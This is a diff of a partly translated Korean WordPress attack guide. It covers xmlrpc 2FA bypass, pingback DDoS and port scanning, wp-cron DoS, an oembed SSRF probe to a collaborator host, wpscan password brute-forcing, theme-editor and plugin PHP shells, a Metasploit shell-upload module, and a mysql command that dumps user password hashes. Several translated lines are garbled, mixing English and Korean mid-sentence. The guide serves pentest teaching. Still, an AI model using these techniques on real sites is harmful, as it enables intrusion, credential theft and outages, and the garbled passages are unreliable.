๊ฒƒ์ด ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์šฉ์œผ๋กœ ๋งŒ๋“ค์–ด์ง„ ์˜ค๋ž˜๋œ ๋ฐฉ์‹์ด๊ธฐ ๋•Œ๋ฌธ์— 2FA๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์œ ํšจํ•œ creds๊ฐ€ ์žˆ์ง€๋งŒ ๋ฉ”์ธ ๋กœ๊ทธ์ธ์— 2FA๊ฐ€ ๊ฑธ๋ ค ์žˆ๋‹ค๋ฉด, **xmlrpc.php๋ฅผ ์•…์šฉํ•ด ํ•ด๋‹น creds๋กœ 2FA๋ฅผ ์šฐํšŒํ•˜์—ฌ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค**. ์ฝ˜์†”์—์„œ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ, Ippsec๊ฐ€ [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)์—์„œ ์„ค๋ช…ํ•˜๋“ฏ ์—ฌ์ „ํžˆ RCE์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. -**DDoS or port scanning** +**DDoS ๋˜๋Š” port scanning** -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). +๋ชฉ๋ก์—์„œ _**pingback.ping**_ ๋ฉ”์„œ๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด Wordpress๊ฐ€ ์ž„์˜์˜ ํ˜ธ์ŠคํŠธ/ํฌํŠธ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +์ด๊ฒƒ์€ **์ˆ˜์ฒœ**์˜ Wordpress **์‚ฌ์ดํŠธ**์—๊ฒŒ ํ•œ **๋Œ€์ƒ**์— **์ ‘๊ทผ**ํ•˜๋„๋ก ์š”์ฒญํ•˜์—ฌ ํ•ด๋‹น ์œ„์น˜์—์„œ **DDoS**๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฑฐ๋‚˜, Wordpress๋กœ ๋‚ด๋ถ€ **๋„คํŠธ์›Œํฌ**๋ฅผ **scan**ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ž„์˜์˜ ํฌํŠธ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Œ). ```html pingback.ping @@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -๊ฐ’์ด **0** (17)๋ณด๋‹ค ํฐ **faultCode**๋ฅผ ๋ฐ›์œผ๋ฉด ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. +**0** (17)๋ณด๋‹ค **ํฐ** ๊ฐ’์„ ๊ฐ€์ง„ **faultCode**๋ฅผ ๋ฐ›์œผ๋ฉด, ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค. -์ด ๋ฐฉ๋ฒ•์„ ์•…์šฉํ•ด DDoS๋ฅผ ์ผ์œผํ‚ค๋Š” ๋ฐฉ๋ฒ•์€ ์ด์ „ ์„น์…˜์˜ **`system.multicall`** ์‚ฌ์šฉ ์˜ˆ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”. +์ด ๋ฐฉ๋ฒ•์„ ์•…์šฉํ•ด DDoS๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ๋ ค๋ฉด ์ด์ „ ์„น์…˜์—์„œ **`system.multicall`**์˜ ์‚ฌ์šฉ์„ ํ™•์ธํ•˜์„ธ์š”. **DDoS** ```html @@ -209,15 +209,15 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * ### wp-cron.php DoS -์ด ํŒŒ์ผ์€ ์ผ๋ฐ˜์ ์œผ๋กœ Wordpress ์‚ฌ์ดํŠธ์˜ ๋ฃจํŠธ์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค: **`/wp-cron.php`**\ -์ด ํŒŒ์ผ์— **์ ‘๊ทผ๋˜๋ฉด** "**๋ฌด๊ฑฐ์šด**" MySQL **์ฟผ๋ฆฌ**๊ฐ€ ์ˆ˜ํ–‰๋˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์ด์šฉํ•ด **DoS**๋ฅผ **์œ ๋ฐœ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -๋˜ํ•œ ๊ธฐ๋ณธ์ ์œผ๋กœ `wp-cron.php`๋Š” ๋ชจ๋“  ํŽ˜์ด์ง€ ๋กœ๋“œ(ํด๋ผ์ด์–ธํŠธ๊ฐ€ Wordpress ํŽ˜์ด์ง€๋ฅผ ์š”์ฒญํ•  ๋•Œ๋งˆ๋‹ค)๋งˆ๋‹ค ํ˜ธ์ถœ๋˜๋ฏ€๋กœ, ํŠธ๋ž˜ํ”ฝ์ด ๋งŽ์€ ์‚ฌ์ดํŠธ์—์„œ๋Š” ๋ฌธ์ œ(DoS)๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\ +When this file is **์ ‘๊ทผ๋˜๋ฉด** a "**๋ฌด๊ฑฐ์šด**" MySQL **query** is performed, so I could be used by **๊ณต๊ฒฉ์ž** to **cause** a **DoS**.\ +Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS). -Wp-Cron์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  ํ˜ธ์ŠคํŠธ ๋‚ด์—์„œ ์‹ค์ œ cronjob์„ ๋งŒ๋“ค์–ด ํ•„์š”ํ•œ ์ž‘์—…์„ ์ •๊ธฐ์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค(๋ฌธ์ œ ์—†์ด). +It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues). ### /wp-json/oembed/1.0/proxy - SSRF -๋‹ค์Œ URL์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ ๊ทธ๋ฆฌ๊ณ  Worpress ์‚ฌ์ดํŠธ๊ฐ€ ์—ฌ๋Ÿฌ๋ถ„์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. This is the response when it doesn't work: @@ -230,32 +230,32 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -์ด ๋„๊ตฌ๋Š” **methodName: pingback.ping**๊ณผ ๊ฒฝ๋กœ **/wp-json/oembed/1.0/proxy**๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์กด์žฌํ•˜๋ฉด ์ด๋ฅผ ์•…์šฉํ•˜๋ ค ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. +This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them. -## ์ž๋™ ๋„๊ตฌ +## ์ž๋™ํ™” ๋„๊ตฌ ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## bit๋ฅผ ๋ฎ์–ด์จ์„œ ์ ‘๊ทผ ์–ป๊ธฐ +## ๋น„ํŠธ ๋ฎ์–ด์“ฐ๊ธฐ๋กœ ์ ‘๊ทผ ํš๋“ -์‹ค์ œ ๊ณต๊ฒฉ์ด๋ผ๊ธฐ๋ณด๋‹ค๋Š” ํ˜ธ๊ธฐ์‹ฌ์— ๊ฐ€๊นŒ์šด ์‚ฌ๋ก€๋‹ค. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)์—์„œ ์ž„์˜์˜ wordpress ํŒŒ์ผ์˜ 1 bit๋ฅผ ๋’ค์ง‘์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ ํŒŒ์ผ `/var/www/html/wp-includes/user.php`์˜ ์œ„์น˜ `5389`๋ฅผ ๋’ค์ง‘์–ด NOT (`!`) ์—ฐ์‚ฐ์„ NOP๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ๋‹ค. +์‹ค์ œ ๊ณต๊ฒฉ์ด๋ผ๊ธฐ๋ณด๋‹ค๋Š” ํ˜ธ๊ธฐ์‹ฌ์— ๊ฐ€๊นŒ์šด ์‚ฌ๋ก€์ž…๋‹ˆ๋‹ค. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)์—์„œ๋Š” ๋ชจ๋“  wordpress ํŒŒ์ผ์—์„œ 1๋น„ํŠธ๋ฅผ ๋’ค์ง‘์„ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํŒŒ์ผ `/var/www/html/wp-includes/user.php`์˜ ์œ„์น˜ `5389`์˜ ๋น„ํŠธ๋ฅผ ๋’ค์ง‘์–ด NOT (`!`) ์—ฐ์‚ฐ์„ NOP๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**์‚ฌ์šฉ ์ค‘์ธ ํ…Œ๋งˆ์˜ php ์ˆ˜์ • (admin credentials needed)** +**์‚ฌ์šฉ๋œ ํ…Œ๋งˆ์˜ php ์ˆ˜์ • (๊ด€๋ฆฌ์ž ์ž๊ฒฉ ์ฆ๋ช… ํ•„์š”)** Appearance โ†’ Theme Editor โ†’ 404 Template (์˜ค๋ฅธ์ชฝ์— ์žˆ์Œ) -php shell์˜ ๋‚ด์šฉ์œผ๋กœ ๋ณ€๊ฒฝ: +php shell์šฉ์œผ๋กœ ๋‚ด์šฉ์„ ๋ณ€๊ฒฝํ•˜์„ธ์š”: ![](<../../images/image (384).png>) -์—…๋ฐ์ดํŠธ๋œ ํŽ˜์ด์ง€์— ์–ด๋–ป๊ฒŒ ์ ‘๊ทผํ•˜๋Š”์ง€ ์ธํ„ฐ๋„ท์—์„œ ์ฐพ์•„๋ณด์„ธ์š”. ์ด ๊ฒฝ์šฐ์—๋Š” ์—ฌ๊ธฐ๋กœ ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +์—…๋ฐ์ดํŠธ๋œ ํŽ˜์ด์ง€์— ์–ด๋–ป๊ฒŒ ์ ‘๊ทผํ•˜๋Š”์ง€ ์ธํ„ฐ๋„ท์—์„œ ์ฐพ์•„๋ณด์„ธ์š”. ์ด ๊ฒฝ์šฐ ๋‹ค์Œ ์ฃผ์†Œ๋กœ ์ ‘๊ทผํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -263,22 +263,22 @@ php shell์˜ ๋‚ด์šฉ์œผ๋กœ ๋ณ€๊ฒฝ: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -to get a session. +์„ธ์…˜์„ ์–ป๊ธฐ ์œ„ํ•ด. ## Plugin RCE -### PHP ํ”Œ๋Ÿฌ๊ทธ์ธ +### PHP plugin -ํ”Œ๋Ÿฌ๊ทธ์ธ์œผ๋กœ .php ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.\ +.php ํŒŒ์ผ์„ plugin์œผ๋กœ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด php backdoor๋ฅผ ๋งŒ๋“œ์„ธ์š”: ![](<../../images/image (183).png>) -๊ทธ๋Ÿฐ ๋‹ค์Œ ์ƒˆ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค: +๊ทธ๋Ÿฐ ๋‹ค์Œ ์ƒˆ plugin์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”: ![](<../../images/image (722).png>) -ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์—…๋กœ๋“œํ•˜๊ณ  'Install Now'์„ ๋ˆ„๋ฅด์„ธ์š”: +plugin์„ ์—…๋กœ๋“œํ•˜๊ณ  Install Now๋ฅผ ๋ˆ„๋ฅด์„ธ์š”: ![](<../../images/image (249).png>) @@ -286,44 +286,44 @@ Procced๋ฅผ ํด๋ฆญํ•˜์„ธ์š”: ![](<../../images/image (70).png>) -์•„๋งˆ๋„ ๋ˆˆ์— ๋„๋Š” ๋ณ€ํ™”๋Š” ์—†์„ ์ˆ˜ ์žˆ์ง€๋งŒ, Media๋กœ ๊ฐ€๋ฉด ์—…๋กœ๋“œ๋œ shell์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์•„๋งˆ๋„ ์•„๋ฌด ์ผ๋„ ์ผ์–ด๋‚˜์ง€ ์•Š๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, Media๋กœ ์ด๋™ํ•˜๋ฉด ์—…๋กœ๋“œ๋œ shell์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../../images/image (462).png>) -์ ‘๊ทผํ•˜๋ฉด reverse shell์„ ์‹คํ–‰ํ•  URL์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +ํ•ด๋‹น ํ•ญ๋ชฉ์— ์ ‘๊ทผํ•˜๋ฉด reverse shell์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” URL์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -์ด ๋ฐฉ๋ฒ•์€ ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ์•…์„ฑ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•˜์—ฌ web shell์„ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ WordPress ๋Œ€์‹œ๋ณด๋“œ๋ฅผ ํ†ตํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค: +์ด ๋ฐฉ๋ฒ•์€ ์ทจ์•ฝํ•œ ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ง„ ์•…์„ฑ plugin์„ ์„ค์น˜ํ•˜์—ฌ web shell์„ ์–ป์„ ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ์ ˆ์ฐจ์ž…๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ WordPress dashboard๋ฅผ ํ†ตํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค: -1. **Plugin Acquisition**: ํ”Œ๋Ÿฌ๊ทธ์ธ์€ Exploit DB์™€ ๊ฐ™์€ ์ถœ์ฒ˜(์˜ˆ: [**here**](https://www.exploit-db.com/exploits/36374))์—์„œ ์ž…์ˆ˜ํ•ฉ๋‹ˆ๋‹ค. +1. **Plugin Acquisition**: ํ•ด๋‹น plugin์€ Exploit DB์™€ ๊ฐ™์€ ์ถœ์ฒ˜์—์„œ ํš๋“ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: [**here**](https://www.exploit-db.com/exploits/36374)). 2. **Plugin Installation**: -- WordPress ๋Œ€์‹œ๋ณด๋“œ๋กœ ์ด๋™ํ•œ ๋‹ค์Œ `Dashboard > Plugins > Upload Plugin`์œผ๋กœ ๊ฐ‘๋‹ˆ๋‹ค. -- ๋‹ค์šด๋กœ๋“œํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ์˜ zip ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. -3. **Plugin Activation**: ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์„ค์น˜๋˜๋ฉด ๋Œ€์‹œ๋ณด๋“œ๋ฅผ ํ†ตํ•ด ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +- WordPress dashboard๋กœ ์ด๋™ํ•œ ๋’ค `Dashboard > Plugins > Upload Plugin`๋กœ ๊ฐ‘๋‹ˆ๋‹ค. +- ๋‹ค์šด๋กœ๋“œํ•œ plugin์˜ zip ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. +3. **Plugin Activation**: plugin์ด ์„ฑ๊ณต์ ์œผ๋กœ ์„ค์น˜๋˜๋ฉด dashboard์—์„œ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 4. **Exploitation**: -- "reflex-gallery" ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์„ค์น˜๋˜๊ณ  ํ™œ์„ฑํ™”๋˜๋ฉด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์ต์Šคํ”Œ๋กœ์ž‡ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- Metasploit framework๋Š” ์ด ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํ•œ ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๊ณ  ํŠน์ • ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉด meterpreter session์„ ์ˆ˜๋ฆฝํ•˜์—ฌ ์‚ฌ์ดํŠธ์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- ์ด๋Š” WordPress ์‚ฌ์ดํŠธ๋ฅผ ์•…์šฉํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜์ผ ๋ฟ์ž…๋‹ˆ๋‹ค. +- "reflex-gallery" plugin์ด ์„ค์น˜ยทํ™œ์„ฑํ™”๋œ ์ƒํƒœ๋ผ๋ฉด ์ทจ์•ฝ์ ์ด ์•Œ๋ ค์ ธ ์žˆ์–ด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- Metasploit framework๋Š” ์ด ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ exploit์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํ•œ ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๊ณ  ํŠน์ • ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉด meterpreter session์„ ํ™•๋ณดํ•˜์—ฌ ์‚ฌ์ดํŠธ์— ๋ฌด๋‹จ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- ์ด๋Š” WordPress ์‚ฌ์ดํŠธ๋ฅผ ์•…์šฉํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜์— ๋ถˆ๊ณผํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. -ํ•ด๋‹น ๋‚ด์šฉ์—๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•˜๊ณ  ํ™œ์„ฑํ™”ํ•˜๋Š” WordPress ๋Œ€์‹œ๋ณด๋“œ ๋‹จ๊ณ„์˜ ์‹œ๊ฐ์  ์„ค๋ช…์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋ฐฉ์‹์œผ๋กœ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์€ ์ ์ ˆํ•œ ํ—ˆ๊ฐ€ ์—†์ด ๋ถˆ๋ฒ•์ ์ด๋ฉฐ ๋น„์œค๋ฆฌ์ ์ž„์„ ๋ช…์‹ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋Š” ์ฑ…์ž„์žˆ๊ฒŒ, ๋ช…์‹œ์ ์ธ ํ—ˆ๊ฐ€๊ฐ€ ์žˆ๋Š” pentesting ๋“ฑ ํ•ฉ๋ฒ•์ ์ธ ๋งฅ๋ฝ์—์„œ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์ด ๋‚ด์šฉ์—๋Š” WordPress dashboard์—์„œ plugin์„ ์„ค์น˜ํ•˜๊ณ  ํ™œ์„ฑํ™”ํ•˜๋Š” ์ ˆ์ฐจ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ์‹œ๊ฐ ์ž๋ฃŒ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด๋Ÿฌํ•œ ๋ฐฉ์‹์œผ๋กœ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์€ ์ ์ ˆํ•œ ๊ถŒํ•œ ์—†์ด ๋ถˆ๋ฒ•์ ์ด๊ณ  ๋น„์œค๋ฆฌ์ ์ž„์„ ๋ฐ˜๋“œ์‹œ ์ฃผ์˜ํ•˜์„ธ์š”. ์ด ์ •๋ณด๋Š” ์ฑ…์ž„๊ฐ ์žˆ๊ฒŒ, ์˜ˆ๋ฅผ ๋“ค์–ด ๋ช…์‹œ์  ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์€ penetration testing๊ณผ ๊ฐ™์€ ํ•ฉ๋ฒ•์  ๋งฅ๋ฝ์—์„œ๋งŒ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## XSS์—์„œ RCE๋กœ +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_๋Š” WordPress์—์„œ **Cross-Site Scripting (XSS)** ์ทจ์•ฝ์ ์„ **Remote Code Execution (RCE)** ๋˜๋Š” ๊ธฐํƒ€ ์น˜๋ช…์  ์ทจ์•ฝ์ ์œผ๋กœ ์ƒ์Šน์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์ด ๋„๊ตฌ๋Š” **Wordpress Versions 6.X.X, 5.X.X and 4.X.X๋ฅผ ์ง€์›ํ•˜๋ฉฐ ๋‹ค์Œ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_๋Š” WordPress์—์„œ **Cross-Site Scripting (XSS)** ์ทจ์•ฝ์ ์„ **Remote Code Execution (RCE)** ๋˜๋Š” ๋‹ค๋ฅธ ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ ์œผ๋กœ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๋„๋ก ์„ค๊ณ„๋œ ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๋‹ค์Œ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค: - _**Privilege Escalation:**_ WordPress์— ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ ๋งž์ถค ํ”Œ๋Ÿฌ๊ทธ์ธ(backdoor)์„ WordPress์— ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. -- _**(RCE) Built-In Plugin Edit:**_ WordPress์˜ ๋‚ด์žฅ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ํŽธ์ง‘ํ•ฉ๋‹ˆ๋‹ค. -- _**(RCE) Built-In Theme Edit:**_ WordPress์˜ ๋‚ด์žฅ ํ…Œ๋งˆ๋ฅผ ํŽธ์ง‘ํ•ฉ๋‹ˆ๋‹ค. -- _**(Custom) Custom Exploits:**_ ์„œ๋“œํŒŒํ‹ฐ WordPress ํ”Œ๋Ÿฌ๊ทธ์ธ/ํ…Œ๋งˆ๋ฅผ ์œ„ํ•œ ๋งž์ถค ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ ์ปค์Šคํ…€ plugin(backdoor)์„ WordPress์— ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. +- _**(RCE) Built-In Plugin Edit:**_ WordPress์˜ Built-In Plugins์„ ํŽธ์ง‘ํ•ฉ๋‹ˆ๋‹ค. +- _**(RCE) Built-In Theme Edit:**_ WordPress์˜ Built-In Themes๋ฅผ ํŽธ์ง‘ํ•ฉ๋‹ˆ๋‹ค. +- _**(Custom) Custom Exploits:**_ ์„œ๋“œํŒŒํ‹ฐ WordPress Plugins/Themes์— ๋Œ€ํ•œ Custom Exploits๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ## Post Exploitation -์‚ฌ์šฉ์ž๋ช…๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœ: +์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœ: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -335,11 +335,11 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### ๊ณต๊ฒฉ ํ‘œ๋ฉด -Wordpress ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ์–ด๋–ป๊ฒŒ ๋…ธ์ถœํ•˜๋Š”์ง€ ์•„๋Š” ๊ฒƒ์€ ํ•ด๋‹น ๊ธฐ๋Šฅ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๋ฐ ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ชฉ๋ก์—์„œ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๊ณผ ์ทจ์•ฝํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ์˜ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ๋ฅผ [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)์—์„œ 